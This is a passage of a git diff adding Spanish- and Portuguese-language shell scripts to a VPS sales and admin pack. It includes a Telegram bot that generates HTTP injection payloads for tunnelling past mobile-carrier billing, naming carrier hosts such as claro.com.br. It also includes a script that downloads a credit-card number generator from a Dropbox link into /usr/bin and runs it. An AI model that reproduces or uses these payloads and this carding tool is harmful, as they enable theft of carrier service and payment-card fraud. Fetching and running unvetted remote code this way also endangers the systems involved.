HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost\r\nHost:mhost\r\n\r\n[netData]\r\n \r\n\r\n +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/ [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr] +[realData][crlf][split]GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf] +[raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf] +[raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf] +GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf] +[raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf] +[raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' > $HOME/$1 +} +fail_fun () { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "MODO DE USO"):\n" + bot_retorno+="$LINE\n" + bot_retorno+="/gerar $(fun_trans "Host") $(fun_trans "solicitud") $(fun_trans "Conexion")\n" + bot_retorno+="$(fun_trans "Exemplo"):\n" + bot_retorno+="/gerar www.host.com (1 a 9) (1 a 3)\n" + bot_retorno+="/gerar www.host.com 2 1\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "Metodos solicitud")\n${LINE}\n1-GET, 2-CONNECT, 3-PUT, 4-OPTIONS, 5-DELETE, 6-HEAD, 7-TRACE, 8-PROPATCH, 9-PATCH\n" + bot_retorno+="$LINE\n" + bot_retorno+="$(fun_trans "Metodos de Conexion")\n${LINE}\n1-REALDATA, 2-NETDATA, 3-RAW\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + unset bot_retorno +return 0 +} +valor1="$1" #Entrada Host +valor2="127.0.0.1" #Entrada IP +valor3="$2" #Metodo Requisicao +valor4="$3" #Metodo Conexao +[[ "$1" = "" ]] && fail_fun && return 0 +[[ "$2" = "" ]] && fail_fun && return 0 +[[ "$3" = "" ]] && fail_fun && return 0 +case $valor3 in + 1)req="GET";; + 2)req="CONNECT";; + 3)req="PUT";; + 4)req="OPTIONS";; + 5)req="DELETE";; + 6)req="HEAD";; + 7)req="PATCH";; + 8)req="POST";; + *)req="GET";; +esac +case $valor4 in + 1)in="realData";; + 2)in="netData";; + 3)in="raw";; + *)in="netData";; +esac +gerar_pays Payloads.txt +sed -i "s;realData;abc;g" $HOME/Payloads.txt +sed -i "s;netData;abc;g" $HOME/Payloads.txt +sed -i "s;raw;abc;g" $HOME/Payloads.txt +sed -i "s;abc;$in;g" $HOME/Payloads.txt +sed -i "s;GET;$req;g" $HOME/Payloads.txt +sed -i "s;get;$req;g" $HOME/Payloads.txt +sed -i "s;mhost;$valor1;g" $HOME/Payloads.txt +sed -i "s;mip;$valor2;g" $HOME/Payloads.txt +if [[ -e $HOME/Payloads.txt ]]; then +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "PAYLOADS GERADAS COM SUCESSO")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +local bot_retorno2 + ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \ + --document @$HOME/Payloads.txt +return 0 +else +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "PAYLOADS NAO GERADAS")\n" + bot_retorno+="$(fun_trans "Algo deu Errado")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 +fi +} +scan_fun () { +error_fun () { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Modo de uso"):\n" + bot_retorno+="/scan $(fun_trans "dominio")\n" + bot_retorno+="$(fun_trans "Exemplo"): /scan www.host.com\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 +} +[[ -z $1 ]] && error_fun && return 0 +local HOST=$1 +local RETURN=$(curl -sSL "$HOST"|grep -Eoi ']+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|uniq) +if [[ -z $RETURN ]]; then +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Nenhum Host Encontrado no Dominio"): ${1}\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 +else +i=1 +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "SUBDOMINIOS ENCONTRADOS")\n$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +unset bot_retorno +while read hostreturn; do +local bot_retorno+="$hostreturn\n" + if [[ $i -gt 20 ]]; then + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "*$(echo -e $bot_retorno)*" \ + --parse_mode markdown + unset bot_retorno + unset i + fi +let i++ +done <<< "$RETURN" +[[ ! -z $bot_retorno ]] && { + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "*$(echo -e $bot_retorno)*" \ + --parse_mode markdown + } +fi +} + +openadd_fun () { +[[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] || return 0 +[[ -e /etc/openvpn/openvpn-status.log ]] || return 0 +newclient "$nomeuser" "$senhauser" +[[ -z $1 ]] && client="adm" || client="$1" +cp /etc/openvpn/client-common.txt $HOME/$client.ovpn +echo " +$(cat /etc/openvpn/client-key.pem) + + +$(cat /etc/openvpn/client-cert.pem) + + +$(cat /etc/openvpn/ca.pem) +" >> $HOME/$client.ovpn +[[ ! -z $1 ]] && [[ ! -z $2 ]] && sed -i "s;auth-user-pass;\n$1\n$2\n;g" $HOME/$client.ovpn +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Para Gerar Arquivos Com Autenticacao Automatica Utilize"):\n/openadd usuario senha\n$LINE\n" + bot_retorno+="$(fun_trans "ARQUIVO OPENVPN GERADO COM SUCESSO")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +local bot_retorno2 + ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \ + --document @$HOME/$client.ovpn +rm $HOME/$client.ovpn +return 0 +} +cript_fun () { +if [[ -z $2 ]]; then +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Modo de uso"):\n" + bot_retorno+="/criptar texto_for_cript\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "_$(echo -e $bot_retorno)_" \ + --parse_mode markdown +return 0 +else +local array=($@) +for((i=1; i<=${#array[@]}; i++)); do +unset txtofus +local number=$(expr length "${array[$i]}") + for((e=1; e<$number+1; e++)); do + local txt[$e]=$(echo "${array[$i]}" | cut -b $e) + case ${txt[$e]} in + ".")txt[$e]="#";; + "#")txt[$e]=".";; + "1")txt[$e]="%";; + "%")txt[$e]="1";; + "2")txt[$e]="?";; + "?")txt[$e]="2";; + "3")txt[$e]="&";; + "&")txt[$e]="3";; + "/")txt[$e]="!";; + "!")txt[$e]="/";; + "a")txt[$e]="k";; + "k")txt[$e]="a";; + "s")txt[$e]="w";; + "w")txt[$e]="s";; + "h")txt[$e]="y";; + "y")txt[$e]="h";; + "o")txt[$e]="P";; + "P")txt[$e]="o";; + "v")txt[$e]="T";; + "T")txt[$e]="v";; + "f")txt[$e]="Z";; + "Z")txt[$e]="f";; + esac + txtofus+="${txt[$e]}" + done +[[ -z $returntxt ]] && returntxt="$(echo $txtofus | rev)" || returntxt="$returntxt $(echo $txtofus | rev)" +done +unset txtofus +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "SEU TEXTO ENCRIPTADO OU DESCRIPTADO"):\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "*$(echo -e $bot_retorno)*" \ + --parse_mode markdown +local bot_retorno="$returntxt\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "_$(echo -e $bot_retorno)_" \ + --parse_mode markdown +fi +} +language_fun () { +if [[ -z $2 || -z $3 ]]; then +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Modo de uso"):\n" + bot_retorno+="/lang (pt, fr, es, en...) (text)\n" + bot_retorno+="/lang es Hello\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "_$(echo -e $bot_retorno)_" \ + --parse_mode markdown +return 0 +else +local array=($@) +local RETORNO +for((i=2; i<=${#array[@]}; i++)); do +local RET=$(source trans -b :$2 "${array[$i]}") +[[ -z $RETORNO ]] && RETORNO=$RET || RETORNO="$RETORNO $RET" +done +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Sua Tradução"):\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "*$(echo -e $bot_retorno)*" \ + --parse_mode markdown + bot_retorno="$(echo $RETORNO|sed -e 's/[^a-z0-9 -]//ig')\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "_$(echo -e $bot_retorno)_" \ + --parse_mode markdown +return 0 +fi +} +teste_fun () { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "USUARIO"): ${chatuser}\n" + bot_retorno+="$(fun_trans "ARGUMENTOS"): ${comando[@]}\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "_$(echo -e $bot_retorno)_" \ + --parse_mode markdown +#local bot_retorno="$LINE\n" +# bot_retorno+="$(fun_trans "ESSE USUARIO"): ${chatuser}\n" +# bot_retorno+="$(fun_trans "ESSES ARGUMENTOS"): ${comando[@]}\n" +# bot_retorno+="$LINE\n" +# ShellBot.editMessageText --chat_id ${message_chat_id[$id]} --message_id ${reply_to_message_message_id[$id]} --text "$(echo -e $bot_retorno)" --parse_mode markdown +#return 0 +} + +# LOOP ESCUTANDO O TELEGRAN +while true; do + ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext) --timeout 30 + for id in $(ShellBot.ListUpdates); do + chatuser="$(echo ${message_chat_id[$id]}|cut -d'-' -f2)" + echo $chatuser >&2 + comando=(${message_text[$id]}) + case ${comando[0]} in + /[Tt]este|[Tt]este)teste_fun &;; + /[Aa]juda|[Aa]juda|[Hh]elp|/[Hh]elp)ajuda_fun &;; + /[Ss]tart|[Ss]tart|[Cc]omecar|/[Cc]omecar)ajuda_fun &;; + /[Ll]ogar|[Ll]ogar|[Ll]oguin|/[Ll]oguin)ativarid_fun "${comando[1]}" "${comando[2]}" "$chatuser";; + *)if [[ ! -z $LIBERADOS ]] && [[ $(echo ${LIBERADOS}|grep -w "${chatuser}") ]]; then + case ${comando[0]} in + [Oo]nline|/[Oo]nline|[Oo]nlines|/[Oo]nlines)online_fun &;; + [Cc]riptar|/[Cc]riptar|[Cc]ript|/[Cc]ript)cript_fun "${comando[@]}" &;; + [Uu]seradd|/[Uu]seradd|[Aa]dd|/[Aa]dd)useradd_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" "${comando[4]}" &;; + [Uu]serdell|/[Uu]serdell|[Dd]ell|/[Dd]ell)userdell_fun "${comando[1]}" &;; + [Ii]nfo|/[Ii]nfo)info_fun &;; + [Ii]nfovps|/[Ii]nfovps)infovps &;; + [Ll]ang|/[Ll]ang)language_fun "${comando[@]}" &;; + [Oo]penadd|/[Oo]penadd|[Oo]pen|/[Oo]pen)openadd_fun "${comando[1]}" "${comando[2]}" &;; + [Gg]erar|/[Gg]erar|[Pp]ay|/[Pp]ay)paygen_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" &;; + [Uu]suarios|/[Uu]suarios|[Uu]ser|/[Uu]ser)loguin_fun &;; + [Ss]can|/[Ss]can)scan_fun "${comando[1]}" &;; + *)ajuda_fun;; + esac + else + [[ ! -z "${comando[0]}" ]] && blockfun & + fi;; + esac + done +done diff --git a/ADM-VENTAS-LEALDROID/request/Crear-Demo.sh b/ADM-VENTAS-LEALDROID/request/Crear-Demo.sh new file mode 100644 index 0000000..0cb698b --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/Crear-Demo.sh @@ -0,0 +1,93 @@ +#!/bin/bash +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +rm -rf /etc/adm +mkdir /etc/adm +mkdir /etc/adm/usuarios + +msg () { +BRAN='\033[1;37m' && VERMELHO='\e[31m' +VERDE='\e[32m' && AMARELO='\e[33m' +AZUL='\e[34m' && MAGENTA='\e[35m' +MAG='\033[1;36m' && NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne)cor="${VERMELHO}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama)cor="${AMARELO}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm)cor="${AMARELO}${NEGRITO}[!] ${VERMELHO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu)cor="${MAG}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd)cor="${VERDE}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra)cor="${BRAN}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + "-bar2"|"-bar")cor="${AZUL}======================================================" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + esac +} +tmpusr () { +time="$1" +timer=$(( $time * 60 )) +timer2="'$timer's" +echo "#!/bin/bash +sleep $timer2 +kill"' $(ps -u '"$2 |awk '{print"' $1'"}') 1> /dev/null 2> /dev/null +userdel --force $2 +rm -rf /tmp/$2 +exit" > /tmp/$2 +} + +tmpusr2 () { +time="$1" +timer=$(( $time * 60 )) +timer2="'$timer's" +echo "#!/bin/bash +sleep $timer2 +kill=$(dropb | grep "$2" | awk '{print $2}') +kill $kill +userdel --force $2 +rm -rf /tmp/$2 +exit" > /tmp/$2 +} + +echo -e "\033[1;96m CREAR USUARIO POR TIEMPOS (Minutos)\n\033[1;97mLos Usuarios que cres en esta extencion se eliminaran\nautomaticamete pasando el tiempo designado\033[0m" +msg -bar2 + +echo -e "\033[1;91m[1]-\033[1;97mNombre del usuario:\033[0;37m"; read -p " " name +if [[ -z $name ]] +then +echo "No a digitado el Nuevo Usuario" +exit +fi +if cat /etc/passwd |grep $name: |grep -vi [a-z]$name |grep -v [0-9]$name > /dev/null +then +echo -e "\033[1;31mUsuario $name ya existe\033[0m" +exit +fi +echo -e "\033[1;91m[2]-\033[1;97mContraseña para usuario $name:\033[0;37m"; read -p " " pass +echo -e "\033[1;91m[3]-\033[1;97mTiempo de Duración En Minutos:\033[0;37m"; read -p " " tmp +if [ "$tmp" = "" ]; then +tmp="30" +echo -e "\033[1;32mFue Definido 30 minutos Por Defecto!\033[0m" +msg -bar2 +sleep 2s +fi +useradd -M -s /bin/false $name +(echo $pass; echo $pass)|passwd $name 2>/dev/null +touch /tmp/$name +tmpusr $tmp $name +chmod 777 /tmp/$name +touch /tmp/cmd +chmod 777 /tmp/cmd +echo "nohup /tmp/$name & >/dev/null" > /tmp/cmd +/tmp/cmd 2>/dev/null 1>/dev/null +rm -rf /tmp/cmd +touch /etc/adm/usuarios/$name +echo "senha: $pass" >> /etc/adm/usuarios/$name +echo "data: ($tmp)Minutos" >> /etc/adm/usuarios/$name +msg -bar2 +echo -e "\033[1;93m ¡¡Usuario Creado!!\033[0m" +msg -bar2 +echo -e "\033[1;36mUsuario: \033[0m$name" +echo -e "\033[1;36mContraseña: \033[0m$pass" +echo -e "\033[1;36mMinutos de Duración: \033[0m$tmp" +msg -bar2 +exit +fi \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/GENERADOR_BIN.sh b/ADM-VENTAS-LEALDROID/request/GENERADOR_BIN.sh new file mode 100644 index 0000000..4590a70 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/GENERADOR_BIN.sh @@ -0,0 +1,16 @@ +#!/bin/bash +# Bin _ Gen #OFC +link_bin="https://www.dropbox.com/s/37psc5yx7060y22/generadorcc.py?dl=0" +[[ ! -e /usr/bin/generadorcc.py ]] && wget -O /usr/bin/generadorcc.py ${link_bin} > /dev/null && chmod +x /usr/bin/generadorcc.py +msg -ama "$(fun_trans "GERADOR DE BINS OFICIAL")" +msg -bar +msg -ne "$(fun_trans "Digite a bin"): " && read UsrBin +while [[ ${#UsrBin} -lt 16 ]]; do +UsrBin+="x" +done +msg -ne "$(fun_trans "Quantas Bins Quer Gerar"): " && read GerBin +[[ $GerBin != +([0-9]) ]] && GerBin=10 +[[ -z $GerBin ]] && GerBin=10 +msg -bar +python /usr/bin/generadorcc.py -b ${UsrBin} -u ${GerBin} -d -c +msg -bar \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/Gestor.sh b/ADM-VENTAS-LEALDROID/request/Gestor.sh new file mode 100644 index 0000000..84b947d --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/Gestor.sh @@ -0,0 +1,108 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) +barra="\033[0m\e[31m======================================================\033[1;37m" +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +fun_trans () { +local texto +local retorno +declare -A texto +SCPidioma="${SCPdir}/idioma" +[[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} +local LINGUAGE=$(cat ${SCPidioma}) +[[ -z $LINGUAGE ]] && LINGUAGE=pt +[[ ! -e /etc/texto-adm ]] && touch /etc/texto-adm +source /etc/texto-adm +if [[ -z "$(echo ${texto[$@]})" ]]; then + retorno="$(source trans -e google -b pt:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" + if [[ $retorno = "" ]];then + retorno="$(source trans -e bing -b pt:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" + fi + if [[ $retorno = "" ]];then + retorno="$(source trans -e yandex -b pt:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" + fi +echo "texto[$@]='$retorno'" >> /etc/texto-adm +echo "$retorno" +else +echo "${texto[$@]}" +fi +} +update_pak () { +echo -ne " \033[1;31m[ ! ] apt-get update" +apt-get update -q > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -e "$barra" +return +} +reiniciar_ser () { +echo -ne " \033[1;31m[ ! ] Services restart" +( +[[ -e /etc/init.d/stunnel4 ]] && /etc/init.d/stunnel4 restart +[[ -e /etc/init.d/squid ]] && /etc/init.d/squid restart +[[ -e /etc/init.d/squid3 ]] && /etc/init.d/squid3 restart +[[ -e /etc/init.d/apache2 ]] && /etc/init.d/apache2 restart +[[ -e /etc/init.d/openvpn ]] && /etc/init.d/openvpn restart +[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart +[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart +fail2ban-client -x stop && fail2ban-client -x start +) > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -e "$barra" +return +} +reiniciar_vps () { +echo -ne " \033[1;31m[ ! ] Sudo Reboot" +sleep 3s +echo -e "\033[1;32m [OK]" +( +sudo reboot +) > /dev/null 2>&1 +echo -e "$barra" +return +} +host_name () { +unset name +while [[ ${name} = "" ]]; do +echo -ne "\033[1;37m $(fun_trans "Digite o nome do host"): " && read name +tput cuu1 && tput dl1 +done +hostnamectl set-hostname $name +if [ $(hostnamectl status | head -1 | awk '{print $3}') = "${name}" ]; then +echo -e "\033[1;32m $(fun_trans "Nome de host alterado corretamente")!, $(fun_trans "reiniciar VPS")" +else +echo -e "\033[1;31m $(fun_trans "Nome de host não modificado")!" +fi +echo -e "$barra" +return +} +gestor_fun () { +echo -e " \033[1;32m $(fun_trans "Administrador VPS") [NEW-ADM]" +echo -e "$barra" +while true; do +echo -e "${cor[4]} [1] > \033[1;37m$(fun_trans "Atualizar pacotes")" +echo -e "${cor[4]} [2] > \033[1;37m$(fun_trans "Alterar o nome do VPS")" +echo -e "${cor[4]} [3] > \033[1;37m$(fun_trans "Reiniciar os Serviços")" +echo -e "${cor[4]} [4] > \033[1;37m$(fun_trans "Reiniciar VPS")" +echo -e "${cor[4]} [0] > \033[1;37m$(fun_trans "VOLTAR")\n${barra}" +while [[ ${opx} != @(0|[1-5]) ]]; do +echo -ne "${cor[0]}$(fun_trans "Digite a Opcao"): \033[1;37m" && read opx +tput cuu1 && tput dl1 +done +case $opx in + 0) + return;; + 1) + update_pak + break;; + 2) + host_name + break;; + 3) + reiniciar_ser + break;; + 4) + reiniciar_vps + break;; +esac +done +} +gestor_fun diff --git a/ADM-VENTAS-LEALDROID/request/MasterBin.sh b/ADM-VENTAS-LEALDROID/request/MasterBin.sh new file mode 100644 index 0000000..4057584 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/MasterBin.sh @@ -0,0 +1,364 @@ +#!/bin/bash +# GERA CC PYTHON +install_fun(){ + # Instalando PHP 7.2 + sudo add-apt-repository -y ppa:ondrej/php && sudo apt-get update + apt-get install python -y + apt-get install python-pip -y + sudo apt-get install -y php7.2 libapache2-mod-php7.2 php7.2-curl php7.2-gd php7.2-mbstring php7.2-cli php-memcached php7.2-mysql php7.2-xml php7.2-xmlrpc php7.2-sqlite3 php7.2-json php7.2-zip + # Configuraes do PHP + # sed -i "s@^memory_limit.*@memory_limit = 512M@" /etc/php/7.2/apache2/php.ini + # sed -i 's@^output_buffering =@output_buffering = On\noutput_buffering =@' /etc/php/7.2/apache2/php.ini + sed -i 's@^;cgi.fix_pathinfo.*@cgi.fix_pathinfo=0@' /etc/php/7.2/apache2/php.ini + # sed -i 's@^short_open_tag = Off@short_open_tag = On@' /etc/php/7.2/apache2/php.ini + # sed -i 's@^expose_php = On@expose_php = Off@' /etc/php/7.2/apache2/php.ini + # sed -i 's@^request_order.*@request_order = "CGP"@' /etc/php/7.2/apache2/php.ini + sed -i 's@^;date.timezone.*@date.timezone = America/Sao_Paulo@' /etc/php/7.2/apache2/php.ini + sed -i 's@^post_max_size.*@post_max_size = 100M@' /etc/php/7.2/apache2/php.ini + sed -i 's@^upload_max_filesize.*@upload_max_filesize = 100M@' /etc/php/7.2/apache2/php.ini + sed -i 's@^max_execution_time.*@max_execution_time = 600@' /etc/php/7.2/apache2/php.ini + # sed -i 's@^;realpath_cache_size.*@realpath_cache_size = 2M@' /etc/php/7.2/apache2/php.ini + # sed -i 